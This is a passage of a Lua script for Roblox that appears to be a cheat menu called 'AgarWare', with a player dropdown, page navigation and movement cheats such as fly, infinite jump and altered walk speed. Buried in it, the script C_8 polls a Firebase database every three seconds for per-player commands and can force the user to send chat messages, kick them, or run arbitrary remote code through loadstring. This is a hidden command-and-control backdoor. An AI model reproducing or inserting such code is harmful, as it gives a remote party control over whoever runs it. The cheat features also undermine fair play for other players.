b.displayText:lower() end) local filtered = {} for _, item in ipairs(itemList) do if filter == "" or item.displayText:lower():find(filter:lower(), 1, true) then table.insert(filtered, item) end end itemList = filtered end for i, item in ipairs(itemList) do local isSelected if mode == "custom" then isSelected = selectedValue == item.value else isSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name) end local row = Instance.new("Frame") row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) row.BackgroundColor3 = isSelected and HOVER or BG row.BorderSizePixel = 0 row.LayoutOrder = i row.ZIndex = 1001 row.Parent = scrollFrame if showIcons and not item.isCustom and item.userId then local thumb = Instance.new("ImageLabel") thumb.Size = UDim2.new(0, 12, 0, 12) thumb.Position = UDim2.new(1, -16, 0.5, -6) thumb.BackgroundTransparency = 1 thumb.Image = "" thumb.ZIndex = 1002 thumb.Parent = row task.spawn(function() thumb.Image = getThumb(item.userId) end) end local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, -22, 1, 0) nameLabel.Position = UDim2.new(0, 6, 0, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = item.displayText nameLabel.TextColor3 = isSelected and BLUE or WHITE nameLabel.TextSize = 14 nameLabel.Font = Enum.Font.Code nameLabel.TextXAlignment = Enum.TextXAlignment.Left nameLabel.TextTruncate = Enum.TextTruncate.AtEnd nameLabel.ZIndex = 1002 nameLabel.Parent = row local rowBtn = Instance.new("TextButton") rowBtn.Size = UDim2.new(1, 0, 1, 0) rowBtn.BackgroundTransparency = 1 rowBtn.Text = "" rowBtn.ZIndex = 1003 rowBtn.Parent = row rowBtn.MouseEnter:Connect(function() row.BackgroundColor3 = HOVER end) rowBtn.MouseLeave:Connect(function() local isStillSelected if mode == "custom" then isStillSelected = selectedValue == item.value else isStillSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name) end if not isStillSelected then row.BackgroundColor3 = BG end end) rowBtn.MouseButton1Click:Connect(function() if mode == "custom" then -- Custom single-select selectedValue = item.value mainLabel.Text = item.displayText if config.onSelect then config.onSelect(item.value) end closeDropdown() elseif multiSelect then -- Multi-select logic if selectedPlayers[item.value.Name] then selectedPlayers[item.value.Name] = nil nameLabel.TextColor3 = WHITE row.BackgroundColor3 = BG else selectedPlayers[item.value.Name] = true nameLabel.TextColor3 = BLUE row.BackgroundColor3 = HOVER end updateMainLabel() if config.onMultiSelectChange then local copy = {} for k, v in pairs(selectedPlayers) do copy[k] = v end config.onMultiSelectChange(copy) end else -- Single-select logic selectedPlayer = item.value mainLabel.Text = item.displayText if config.onSelectPlayer then config.onSelectPlayer(item.value) end closeDropdown() end end) end updatePanelSize(#itemList) end for i, btnConfig in ipairs(bottomButtons) do local row = math.ceil(i / 2) - 1 local col = (i - 1) % 2 local btn = Instance.new("TextButton") btn.Size = UDim2.new(0.5, col == 0 and -1 or 0, 0, ROW_HEIGHT + 2) btn.Position = UDim2.new(col * 0.5, col == 0 and 0 or 1, 0, row * (ROW_HEIGHT + 2)) btn.BackgroundColor3 = BTN_BG btn.BorderSizePixel = 0 btn.Text = btnConfig.text btn.TextColor3 = WHITE btn.TextSize = 11 btn.Font = Enum.Font.Code btn.ZIndex = 1001 btn.Parent = bottomBar btn.MouseButton1Click:Connect(function() if btnConfig.onClick then btnConfig.onClick({ showDisplay = showDisplay, rebuildList = function() buildList(searchBox.Text) end, setShowDisplay = function(val) showDisplay = val end, selectedPlayers = selectedPlayers, -- Pass reference mainLabel = mainLabel, button = btn, -- Helper to trigger callback notifyChange = function() if config.onMultiSelectChange then local copy = {} for k, v in pairs(selectedPlayers) do copy[k] = v end config.onMultiSelectChange(copy) end end }) end end) if col == 0 and i < #bottomButtons then local divider = Instance.new("Frame") divider.Size = UDim2.new(0, 1, 0, ROW_HEIGHT + 2) divider.Position = UDim2.new(0.5, -1, 0, row * (ROW_HEIGHT + 2)) divider.BackgroundColor3 = BORDER divider.BorderSizePixel = 0 divider.ZIndex = 1001 divider.Parent = bottomBar end if row > 0 and col == 0 then local rowDivider = Instance.new("Frame") rowDivider.Size = UDim2.new(1, 0, 0, 1) rowDivider.Position = UDim2.new(0, 0, 0, row * (ROW_HEIGHT + 2) - 1) rowDivider.BackgroundColor3 = BORDER rowDivider.BorderSizePixel = 0 rowDivider.ZIndex = 1001 rowDivider.Parent = bottomBar end end local function openDropdown() isOpen = true mainLabel.Visible = false mainArrow.Visible = false repeat task.wait() until dropdown.AbsoluteSize.X > 0 local absPos = dropdown.AbsolutePosition local absSize = dropdown.AbsoluteSize panel.Position = UDim2.new(0, absPos.X + (absSize.X - 161) / 2, 0, absPos.Y + absSize.Y) panel.Visible = true searchBox.Text = "" buildList("") end local function closeDropdown() isOpen = false panel.Visible = false mainLabel.Visible = true mainArrow.Visible = true if multiSelect then updateMainLabel() end end dropdown.MouseButton1Click:Connect(function() if isOpen then closeDropdown() else openDropdown() end end) searchArrow.MouseButton1Click:Connect(closeDropdown) searchBox:GetPropertyChangedSignal("Text"):Connect(function() buildList(searchBox.Text) end) UserInputService.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then local mousePos = input.Position local panelPos = panel.AbsolutePosition local panelSize = panel.AbsoluteSize local btnPos = dropdown.AbsolutePosition local btnSize = dropdown.AbsoluteSize local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y if not inPanel and not inBtn then closeDropdown() end end end) Players.PlayerRemoving:Connect(function(p) if selectedPlayers[p.Name] then selectedPlayers[p.Name] = nil updateMainLabel() if config.onMultiSelectChange then config.onMultiSelectChange(selectedPlayers) end end if isOpen then buildList(searchBox.Text) end end) Players.PlayerAdded:Connect(function() if isOpen then buildList(searchBox.Text) end end) updateMainLabel() end shared.DropdownMaster = { create = create } end; task.spawn(C_7); -- StarterGui.AgarWareGui.contorl them local function C_8() local script = G2L["8"]; local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com" local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) local lastCommandTimestamp = os.time() local function checkForCommands() pcall(function() local response = _req({ Url = FIREBASE_URL .. "/commands/" .. LocalPlayer.Name .. ".json", Method = "GET" }) if response.StatusCode == 200 and response.Body ~= "null" then local commandData = HttpService:JSONDecode(response.Body) if commandData and commandData.timestamp > lastCommandTimestamp then lastCommandTimestamp = commandData.timestamp if commandData.type == "forcechat" then pcall(function() if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then TextChatService.TextChannels.RBXGeneral:SendAsync(commandData.message) else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(commandData.message, "All") end end) elseif commandData.type == "kick" then LocalPlayer:Kick("You have been kicked by an admin.") elseif commandData.type == "execute" then pcall(function() loadstring(commandData.code)() end) end -- REMOVED THE DELETE HERE - let the 10 second timer handle it end end end) end while wait(3) do checkForCommands() end end; task.spawn(C_8); -- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler local function C_c() local script = G2L["c"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() LocalPlayer = Players.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui", 60) local ScreenGui repeat ScreenGui = PlayerGui:FindFirstChild("AgarWareGui") if not ScreenGui then task.wait(0.1) end until ScreenGui local MainFrame repeat MainFrame = ScreenGui:FindFirstChild("MainFrame") if not MainFrame then task.wait(0.1) end until MainFrame local SideBar repeat SideBar = MainFrame:FindFirstChild("SideBar") if not SideBar then task.wait(0.1) end until SideBar local ContentArea repeat ContentArea = MainFrame:FindFirstChild("ContentArea") if not ContentArea then task.wait(0.1) end until ContentArea local TCOSideBar repeat TCOSideBar = ContentArea:FindFirstChild("TCOSideBar") if not TCOSideBar then task.wait(0.1) end until TCOSideBar local pageConfig = { {buttonName = "MainPG", pageName = "MainPage"}, {buttonName = "SettingsPG", pageName = "SettingsPage"}, {buttonName = "VisualPG", pageName = "VisualPage"}, {buttonName = "TCOPG", pageName = "TCOMainPage"}, {buttonName = "MiscPG", pageName = "MiscPage"}, {buttonName = "MenuPG", pageName = "MenuPage"}, {buttonName = "TrollPG", pageName = "TrollPage"}, } local tcoPageConfig = { {buttonName = "MainTCOPG", pageName = "TCOMainPage"}, {buttonName = "MiscTCOPG", pageName = "TCOMiscPage"}, {buttonName = "DetectionTCOPG", pageName = "TCODetectionPage"}, {buttonName = "TrollTCOPG", pageName = "TCOTrollPage"}, } local ACTIVE_COLOR = Color3.fromRGB(18, 18, 18) local INACTIVE_COLOR = Color3.fromRGB(0, 0, 0) local ACTIVE_TEXT_COLOR = Color3.fromRGB(0, 123, 255) local INACTIVE_TEXT_COLOR = Color3.fromRGB(255, 255, 255) local tcoPageNames = {} for _, config in tcoPageConfig do tcoPageNames[config.pageName] = true end local currentPage = nil local activeButton = nil local activeTCOButton = nil local function setTCOSideBarVisible(visible) TCOSideBar.Visible = visible end local function switchTCOPage(buttonName, pageName) for _, config in tcoPageConfig do local page = ContentArea:FindFirstChild(config.pageName) if page then page.Visible = false end end for _, config in tcoPageConfig do local button = TCOSideBar:FindFirstChild(config.buttonName) if button and button:IsA("TextButton") then button.BackgroundColor3 = INACTIVE_COLOR button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅ end end local selectedPage = ContentArea:FindFirstChild(pageName) if selectedPage then selectedPage.Visible = true currentPage = pageName else warn("TCO Page not found: " .. pageName) end local selectedButton = TCOSideBar:FindFirstChild(buttonName) if selectedButton and selectedButton:IsA("TextButton") then selectedButton.BackgroundColor3 = ACTIVE_COLOR selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅ activeTCOButton = buttonName end end local function switchPage(buttonName, pageName) local isTCOPage = tcoPageNames[pageName] for _, config in pageConfig do if not tcoPageNames[config.pageName] then local page = ContentArea:FindFirstChild(config.pageName) if page then page.Visible = false end end end if not isTCOPage then for _, config in tcoPageConfig do local page = ContentArea:FindFirstChild(config.pageName) if page then page.Visible = false end end end for _, config in pageConfig do local button = SideBar:FindFirstChild(config.buttonName) if button and button:IsA("TextButton") then button.BackgroundColor3 = INACTIVE_COLOR button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅ end end setTCOSideBarVisible(isTCOPage) if isTCOPage then switchTCOPage(activeTCOButton or "MainTCOPG", activeTCOButton and (function() for _, c in tcoPageConfig do if c.buttonName == activeTCOButton then return c.pageName end end end)() or "TCOMainPage") else local selectedPage = ContentArea:FindFirstChild(pageName) if selectedPage then selectedPage.Visible = true currentPage = pageName else warn("Page not found: " .. pageName) end end local selectedButton = SideBar:FindFirstChild(buttonName) if selectedButton and selectedButton:IsA("TextButton") then selectedButton.BackgroundColor3 = ACTIVE_COLOR selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅ activeButton = buttonName end end for _, config in pageConfig do local button = SideBar:FindFirstChild(config.buttonName) if button and button:IsA("TextButton") then button.MouseButton1Click:Connect(function() switchPage(config.buttonName, config.pageName) end) else warn("Button not found: " .. config.buttonName) end end for _, config in tcoPageConfig do local button = TCOSideBar:FindFirstChild(config.buttonName) if button and button:IsA("TextButton") then button.MouseButton1Click:Connect(function() switchTCOPage(config.buttonName, config.pageName) end) else warn("TCO Button not found: " .. config.buttonName) end end setTCOSideBarVisible(false) task.wait(0.05) switchPage("MenuPG", "MenuPage") print("AGAR WARE LOADED") end; task.spawn(C_c); -- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame local function C_13() local script = G2L["13"]; local TCOPG = script.Parent -- if script is inside TCOPG -- or find it: -- local TCOPG = game.Players.LocalPlayer.PlayerGui.ScreenGui.MainFrame.SideBar.TCOPG local TCO_PLACE_IDS = { 11137575513, 12943245078, 12943247001, 108097274488844, } local isTCO = false for _, id in ipairs(TCO_PLACE_IDS) do if game.PlaceId == id then isTCO = true break end end if not isTCO then TCOPG.Text = "TCO (not ingame)" end end; task.spawn(C_13); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript local function C_1c() local script = G2L["1c"]; -- ============================================================ -- MOVEMENT GROUP MASTER SCRIPT -- Place this script directly under MovementGroup -- Handles: Minimize, Fly, InfJump, Jumppower, ShiftLock, Walkspeed -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService") local LocalPlayer = Players.LocalPlayer local MovementGroup = script.Parent local MovementMinimize = MovementGroup.MovementTitle.MovementMinimize local MovementAccentColor = MovementGroup:FindFirstChild("MovementAccentColor") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = MovementGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(MovementGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MovementGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MovementMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MovementGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MovementMinimize.Text = "+" else MovementGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MovementMinimize.Text = "-" end end) -- ============================================================ -- TICKBOX FEATURE SETUP -- ============================================================ local activeFeatures = {} local function setupTickBox(config) local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = MovementGroup:FindFirstChild(rowName) if not row then warn("[MovementGroup] Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("[MovementGroup] TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox) -- Enable function local function enable() isEnabled = true if MovementAccentColor then tickBox.BackgroundColor3 = MovementAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then pcall(onEnable) end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then pcall(onDisable) end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Store for cleanup table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- FEATURES START HERE -- ============================================================ -- FLY local FlyRow = MovementGroup:FindFirstChild("FlyRow") if FlyRow then local FlySpeedChanger = FlyRow:FindFirstChild("FlySpeedChanger") if FlySpeedChanger then FlySpeedChanger.Text = "(50)" end local flySpeed = 50 local nowe = false local tpwalking = false local ctrl = {f=0, b=0, l=0, r=0} local lastctrl = {f=0, b=0, l=0, r=0} setupTickBox({ row = "FlyRow", tickBox = "FlyTickBox", tooltip = "Allows your character to fly. E = up, Q = down", onEnable = function() local chr = LocalPlayer.Character if not chr then return end local hum = chr:FindFirstChildOfClass("Humanoid") if not hum then return end nowe = true tpwalking = true for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do pcall(function() hum:SetStateEnabled(state, false) end) end hum:ChangeState(Enum.HumanoidStateType.Swimming) hum.PlatformStand = true chr.Animate.Disabled = true task.wait() for _, track in pairs(hum:GetPlayingAnimationTracks()) do track:Stop(0) end spawn(function() local hb = RunService.Heartbeat while tpwalking and nowe do hb:Wait() chr = LocalPlayer.Character hum = chr and chr:FindFirstChildOfClass("Humanoid") if chr and hum and hum.Parent then if hum.MoveDirection.Magnitude > 0 then chr:TranslateBy(hum.MoveDirection * flySpeed / 50) end end end end) local isR6 = hum.RigType == Enum.HumanoidRigType.R6 local torso = isR6 and chr:FindFirstChild("Torso") or chr:FindFirstChild("UpperTorso") if not torso then return end local bg = Instance.new("BodyGyro") bg.P = 9e4 bg.MaxTorque = Vector3.new(9e9, 9e9, 9e9) bg.CFrame = torso.CFrame bg.Parent = torso local bv = Instance.new("BodyVelocity") bv.Velocity = Vector3.new(0, 0.1, 0) bv.MaxForce = Vector3.new(9e9, 9e9, 9e9) bv.Parent = torso local speed = 0 spawn(function() while nowe do RunService.RenderStepped:Wait() local maxspeed = flySpeed local camCF = workspace.CurrentCamera.CFrame ctrl.f = UserInputService:IsKeyDown(Enum.KeyCode.W) and 1 or 0 ctrl.b = UserInputService:IsKeyDown(Enum.KeyCode.S) and -1 or 0 ctrl.l = UserInputService:IsKeyDown(Enum.KeyCode.A) and -1 or 0 ctrl.r = UserInputService:IsKeyDown(Enum.KeyCode.D) and 1 or 0 if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = math.min(speed + 0.5 + speed/maxspeed, maxspeed) elseif speed ~= 0 then speed = math.max(speed - 1, 0) end local flatLook = Vector3.new(camCF.LookVector.X, 0, camCF.LookVector.Z).Unit local flatRight = Vector3.new(camCF.RightVector.X, 0, camCF.RightVector.Z).Unit if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.Velocity = (flatLook * (ctrl.f+ctrl.b) + flatRight * (ctrl.l+ctrl.r)) * speed lastctrl = {f=ctrl.f, b=ctrl.b, l=ctrl.l, r=ctrl.r} elseif speed ~= 0 then bv.Velocity = (flatLook * (lastctrl.f+lastctrl.b) + flatRight * (lastctrl.l+lastctrl.r)) * speed else bv.Velocity = Vector3.new(0, 0, 0) end bg.CFrame = camCF if UserInputService:IsKeyDown(Enum.KeyCode.E) then torso.CFrame = torso.CFrame + Vector3.new(0, 1, 0) elseif UserInputService:IsKeyDown(Enum.KeyCode.Q) then torso.CFrame = torso.CFrame + Vector3.new(0, -1, 0) end end bg:Destroy() bv:Destroy() end) end, onDisable = function() nowe = false tpwalking = false local chr = LocalPlayer.Character if not chr then return end local hum = chr:FindFirstChildOfClass("Humanoid") if not hum then return end for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do pcall(function() hum:SetStateEnabled(state, true) end) end hum:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) hum.PlatformStand = false chr.Animate.Disabled = false end }) if FlySpeedChanger then FlySpeedChanger.FocusLost:Connect(function() local num = tonumber(FlySpeedChanger.Text) if num and num > 0 then flySpeed = num FlySpeedChanger.Text = tostring(num) else FlySpeedChanger.Text = tostring(flySpeed) end end) end end -- INF JUMP local infJumpConn = nil setupTickBox({ row = "InfJumpRow", tickBox = "InfJumpTickBox", tooltip = "Allows your character to jump infinitely", onEnable = function() infJumpConn = UserInputService.JumpRequest:Connect(function() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end end) end, onDisable = function() if infJumpConn then infJumpConn:Disconnect() infJumpConn = nil end end }) -- JUMPPOWER local JumppowerRow = MovementGroup:FindFirstChild("JumppowerRow") if JumppowerRow then local JumppowerJumpChanger = JumppowerRow:FindFirstChild("JumppowerJumpChanger") if JumppowerJumpChanger then JumppowerJumpChanger.Text = "(50)" end local jumpPower = 50 local isInfinite = false local function updateJumppower() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.UseJumpPower = true humanoid.JumpPower = isInfinite and math.huge or jumpPower end end end setupTickBox({ row = "JumppowerRow", tickBox = "JumppowerTickBox", tooltip = "Changes your character jump power", onEnable = function() updateJumppower() end, onDisable = function() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.UseJumpPower = true humanoid.JumpPower = 50 end end end }) if JumppowerJumpChanger then JumppowerJumpChanger.FocusLost:Connect(function() local text = string.lower(JumppowerJumpChanger.Text) if text == "inf" then isInfinite = true jumpPower = math.huge JumppowerJumpChanger.Text = "inf" else local num = tonumber(text) if num then isInfinite = false jumpPower = num JumppowerJumpChanger.Text = tostring(num) else JumppowerJumpChanger.Text = isInfinite and "inf" or tostring(jumpPower) end end updateJumppower() end) end LocalPlayer.CharacterAdded:Connect(function(character) local humanoid = character:WaitForChild("Humanoid") humanoid.UseJumpPower = true humanoid.JumpPower = isInfinite and math.huge or jumpPower end) end -- WALKSPEED local WalkspeedRow = MovementGroup:FindFirstChild("WalkspeedRow") if WalkspeedRow then local WalkspeedSpeedChanger = WalkspeedRow:FindFirstChild("WalkspeedSpeedChanger") if WalkspeedSpeedChanger then WalkspeedSpeedChanger.Text = "(16)" end local walkSpeed = 16 local isInfinite = false local function updateWalkspeed() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed end end end setupTickBox({ row = "WalkspeedRow", tickBox = "WalkspeedTickBox", tooltip = "Changes your character walk speed", onEnable = function() updateWalkspeed() end, onDisable = function() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.WalkSpeed = 16 end end end }) if WalkspeedSpeedChanger then WalkspeedSpeedChanger.FocusLost:Connect(function() local text = string.lower(WalkspeedSpeedChanger.Text) if text == "inf" then isInfinite = true walkSpeed = math.huge WalkspeedSpeedChanger.Text = "inf" else local num = tonumber(text) if num then isInfinite = false walkSpeed = num WalkspeedSpeedChanger.Text = tostring(num) else WalkspeedSpeedChanger.Text = isInfinite and "inf" or tostring(walkSpeed) end end updateWalkspeed() end) end LocalPlayer.CharacterAdded:Connect(function(character) local humanoid = character:WaitForChild("Humanoid") humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed end) end -- ============================================================ -- ADD NEW FEATURES HERE - USE THIS TEMPLATE: -- ============================================================ --[[ setupTickBox({ row = "YourRow", tickBox = "YourTickBox", tooltip = "What this feature does", onEnable = function() -- Runs once when enabled end, onDisable = function() -- Runs once when disabled end, loop = function() -- Runs every frame while enabled end }) ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_1c); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript local function C_31() local script = G2L["31"]; local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local ContextActionService = game:GetService("ContextActionService") local LocalPlayer = Players.LocalPlayer local ShiftLockRow = script.Parent local ShiftLockTickBox = ShiftLockRow.ShiftLockTickBox local MovementGroup = ShiftLockRow.Parent local MovementAccentColor = MovementGroup.MovementAccentColor local isEnabled = false local active = nil local lastPressTime = 0 local debounceTime = 0.2 local function getAccent() return MovementAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ShiftLockRow while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end -- Tooltip local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "ShiftLockTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.Name = "TooltipText" tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Adds a shiftlock button to your screen on mobile" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.AutomaticSize = Enum.AutomaticSize.XY tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ShiftLockTickBox.MouseEnter:Connect(function() local abs = ShiftLockTickBox.AbsolutePosition local size = ShiftLockTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ShiftLockTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ShiftLock UI local shiftLockGui = nil local imageButton = nil local states = { OFF = "rbxasset://textures/ui/mouseLock_off@2x.png", ON = "rbxasset://textures/ui/mouseLock_on@2x.png" } local MAX_LENGTH = 900000 local ENABLED_OFFSET = CFrame.new(1.7, 0, 0) local DISABLED_OFFSET = CFrame.new(-1.7, 0, 0) local function getCharacterParts() local character = LocalPlayer.Character if not character then return nil, nil, nil end local humanoid = character:FindFirstChildOfClass("Humanoid") local hrp = character:FindFirstChild("HumanoidRootPart") local camera = workspace.CurrentCamera return humanoid, hrp, camera end local function updateImage(state) if imageButton then imageButton.Image = states[state] end end local function disableShiftlock() local humanoid, hrp, camera = getCharacterParts() if humanoid then humanoid.AutoRotate = true end if camera then camera.CFrame = camera.CFrame * DISABLED_OFFSET end updateImage("OFF") if active then active:Disconnect() active = nil end end local function enableShiftlock() local humanoid, hrp, camera = getCharacterParts() if not humanoid or not hrp or not camera then return end humanoid.AutoRotate = false hrp.CFrame = CFrame.new(hrp.Position, Vector3.new( camera.CFrame.LookVector.X * MAX_LENGTH, hrp.Position.Y, camera.CFrame.LookVector.Z * MAX_LENGTH )) camera.CFrame = camera.CFrame * ENABLED_OFFSET updateImage("ON") end local function shiftLockToggle() local currentTime = tick() if currentTime - lastPressTime < debounceTime then return end lastPressTime = currentTime if not active then active = RunService.RenderStepped:Connect(function() enableShiftlock() end) else disableShiftlock() end end local function createUI() -- Cleanup old UI if shiftLockGui then shiftLockGui:Destroy() shiftLockGui = nil imageButton = nil end local playerGui = LocalPlayer:WaitForChild("PlayerGui") shiftLockGui = Instance.new("ScreenGui") shiftLockGui.Name = "ShiftLockGui" shiftLockGui.ResetOnSpawn = false shiftLockGui.DisplayOrder = 999 shiftLockGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling shiftLockGui.Parent = playerGui imageButton = Instance.new("ImageButton") imageButton.BackgroundTransparency = 1 imageButton.Position = UDim2.new(0.921914339, 0, 0.552375436, 0) imageButton.Size = UDim2.new(0.0636147112, 0, 0.0661305636, 0) imageButton.SizeConstraint = Enum.SizeConstraint.RelativeXX imageButton.Image = states.OFF imageButton.Modal = true imageButton.Active = true imageButton.Parent = shiftLockGui -- Draggable logic local dragging = false local dragStart = Vector2.new() local startPos = UDim2.new() imageButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = imageButton.Position end end) imageButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) RunService.RenderStepped:Connect(function() if dragging then local touchPos = UserInputService:GetTouchPosition() if not touchPos then return end local delta = touchPos - dragStart local newPos = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) imageButton.Position = newPos end end) imageButton.MouseButton1Click:Connect(function() shiftLockToggle() 